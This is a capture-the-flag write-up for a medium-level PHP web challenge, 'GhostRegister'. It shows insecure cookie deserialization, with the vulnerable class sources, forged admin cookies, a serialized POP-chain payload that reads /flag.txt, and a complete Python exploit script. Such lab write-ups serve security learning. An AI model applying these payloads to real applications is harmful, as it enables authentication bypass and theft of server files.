GhostRegister
GhostRegister
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: arbitrary_file_read_via_output_class, cookie_tampering_for_auth_bypass, php_object_injection_via_cookie_deserialization, pop_chain_wakeup_magic_method
Summary
Task: PHP 8.1 web app with login/registration storing serialized User object in cookie; profile.php deserializes it without validation. Solution: craft cookie with nested Output object in logger field to trigger __wakeup() → file_get_contents('/flag.txt') POP chain.
GhostRegister — Hackerlab
Description
Используйте ваши навыки анализа веб-приложений, чтобы обнаружить слабое звено и воспользоваться им для захвата чужой учетной записи
English summary: A PHP web application with login/registration system. The goal is to exploit a vulnerability to read the flag from the server.
Analysis
Reconnaissance
The application is a PHP 8.1.34 web app with the following structure:
- Pages:
index.php(login),register.php,register_process.php,authenticate.php,profile.php,logout.php - Classes:
User.php,Logger.php,Output.php,FileReader.php - Web root:
/var/www/html/
Cookie Mechanism
register_process.php sets a user cookie containing a base64-encoded serialized PHP object:
O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:4:"user";s:6:"logger";N;}
This is a critical finding — the entire user state is stored client-side in a serialized PHP object, with no server-side session validation.
Insecure Deserialization
In profile.php, the cookie is deserialized without any validation or integrity check:
php read-only • copy allowedif (isset($_COOKIE['user'])) { $user = @unserialize(base64_decode($_COOKIE['user'])); }
The @ error suppression operator hides any deserialization errors, and there is no HMAC, signature, or allowlist of permitted classes.
Source Code — Key Classes
User.php:
php read-only • copy allowedclass User { public $username; public $password; public $role; public $logger; public function __construct($username = '', $password = '', $role = '', $logger = null) { $this->username = $username; $this->password = $password; $this->role = $role; $this->logger = $logger; } public function __wakeup() { if ($this->role === 'admin') { // echo "Добро пожаловать, администратор!\n"; } } }
Output.php — the critical gadget:
php read-only • copy allowedclass Output { public $file; public function __construct($file = '') { $this->file = $file; } public function __wakeup() { if ($this->file) { if (file_exists($this->file)) { echo file_get_contents($this->file) . "\n"; } } } }
Logger.php:
php read-only • copy allowedclass Logger { public $fileReader; public function __construct($fileReader = null) { $this->fileReader = $fileReader; } }
FileReader.php:
php read-only • copy allowedclass FileReader { public $filename; public $output; public function __construct($filename = '', $output = null) { $this->filename = $filename; $this->output = $output; } public function __wakeup() { if ($this->filename) { $this->output = new Output($this->filename); } } }
POP Chain Identification
The Output class is the key gadget. When deserialized, Output.__wakeup() is triggered automatically by PHP, which calls file_get_contents($this->file) and echoes the result directly to the page.
The chain is straightforward — no intermediate gadgets needed:
unserialize(base64_decode($_COOKIE['user']))
→ User object with logger = Output object
→ Output.__wakeup() triggered
→ file_get_contents('/flag.txt')
→ echo (output to page)
The User.logger property accepts any object, so we inject an Output instance with file set to /flag.txt.
Solution
Step 1: Authentication Bypass
The authenticate.php compares POST credentials against the cookie's serialized User object. We craft a cookie with role=admin and matching credentials:
O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:5:"admin";s:6:"logger";N;}
Base64-encode this and set it as the user cookie, then POST username=admin&password=test to authenticate.php.
Step 2: Craft Exploit Cookie
Replace the logger field with a nested Output object pointing to /flag.txt:
O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:5:"admin";s:6:"logger";O:6:"Output":1:{s:4:"file";s:9:"/flag.txt";}}
Step 3: Trigger Deserialization
Access profile.php with the exploit cookie. PHP deserializes the entire object graph, triggering Output.__wakeup() on the nested object, which reads and displays /flag.txt.
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 import requests import base64 TARGET = "http://62.173.140.174:16119" # Step 1: Create login cookie with admin role login_payload = 'O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:5:"admin";s:6:"logger";N;}' login_cookie = base64.b64encode(login_payload.encode()).decode() s = requests.Session() s.cookies.set('user', login_cookie, domain='62.173.140.174') s.post(f"{TARGET}/authenticate.php", data={"username": "admin", "password": "test"}, allow_redirects=False) # Step 2: Set exploit cookie — Output object nested in logger field exploit_payload = 'O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:5:"admin";s:6:"logger";O:6:"Output":1:{s:4:"file";s:9:"/flag.txt";}}' exploit_cookie = base64.b64encode(exploit_payload.encode()).decode() s.cookies.set('user', exploit_cookie, domain='62.173.140.174') # Step 3: Access profile to trigger deserialization → flag displayed r = s.get(f"{TARGET}/profile.php") print(r.text) # Flag: CODEBY{REDACTED}